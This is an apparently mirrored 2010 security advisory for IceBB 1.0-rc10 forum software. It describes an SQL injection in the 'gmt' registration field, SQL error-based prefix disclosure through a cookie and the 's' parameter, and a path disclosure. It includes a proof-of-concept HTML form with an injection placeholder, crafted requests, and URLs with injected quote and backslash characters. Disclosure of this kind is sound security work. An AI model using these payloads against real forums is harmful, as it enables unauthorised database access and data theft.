Lucene search
K

IceBB 1.0-rc10 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

IceBB 1.0-rc10 Multiple Vulnerabilities including SQL Injection and Information Disclosur

Code

                                                Vulnerability ID: HTB22688
Reference: http://www.htbridge.ch/advisory/sql_injection_in_icebb.html
Product: IceBB
Vendor: XAOS Interactive ( http://icebb.net/ ) 
Vulnerable Version: 1.0-rc10
Vendor Notification: 02 November 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

SQL Injection:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "gmt" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


<form action="http://[host]/index.php" method="post" >
<input type="hidden" name="act" value="login" />
<input type="hidden" name="func" value="Register" />
<input type="hidden" name="terms" value="1" />
<input type="hidden" name="user" value="pentest" />
<input type="hidden" name="pass" value="pentest" />
<input type="hidden" name="pass2" value="pentest" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="captcha_code" value="[captcha_code]" />
<input type="hidden" name="captcha_word" value="[captcha_word]" />
<input type="hidden" name="gmt" value="'SQL_CODE_HERE" />
<input type="submit" value="Register" name="submit" />
</form>

Information Disclosure:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "icebb_login_key" variable from cookie, it's possible to generate an sql query error that will reveal the database tables prefix.


GET /index.php HTTP/1.0
Cookie: icebb_user=1; icebb_pass=2; icebb_uid=3; icebb_login_key=123\;

Information Disclosure:
The vulnerability exists due to failure in the "/index.php" and "/admin/index.php" scripts to properly sanitize user-supplied input in "s" variable, it's possible to generate an sql query error that will reveal the database tables prefix.


http://[host]/index.php?act=login&func=captcha&s=\
http://[host]/admin/index.php?s=123%27

Path Disclosure:
The vulnerability exists in the "/modules/make_image.php" script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.


http://[host]/modules/make_image.php


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation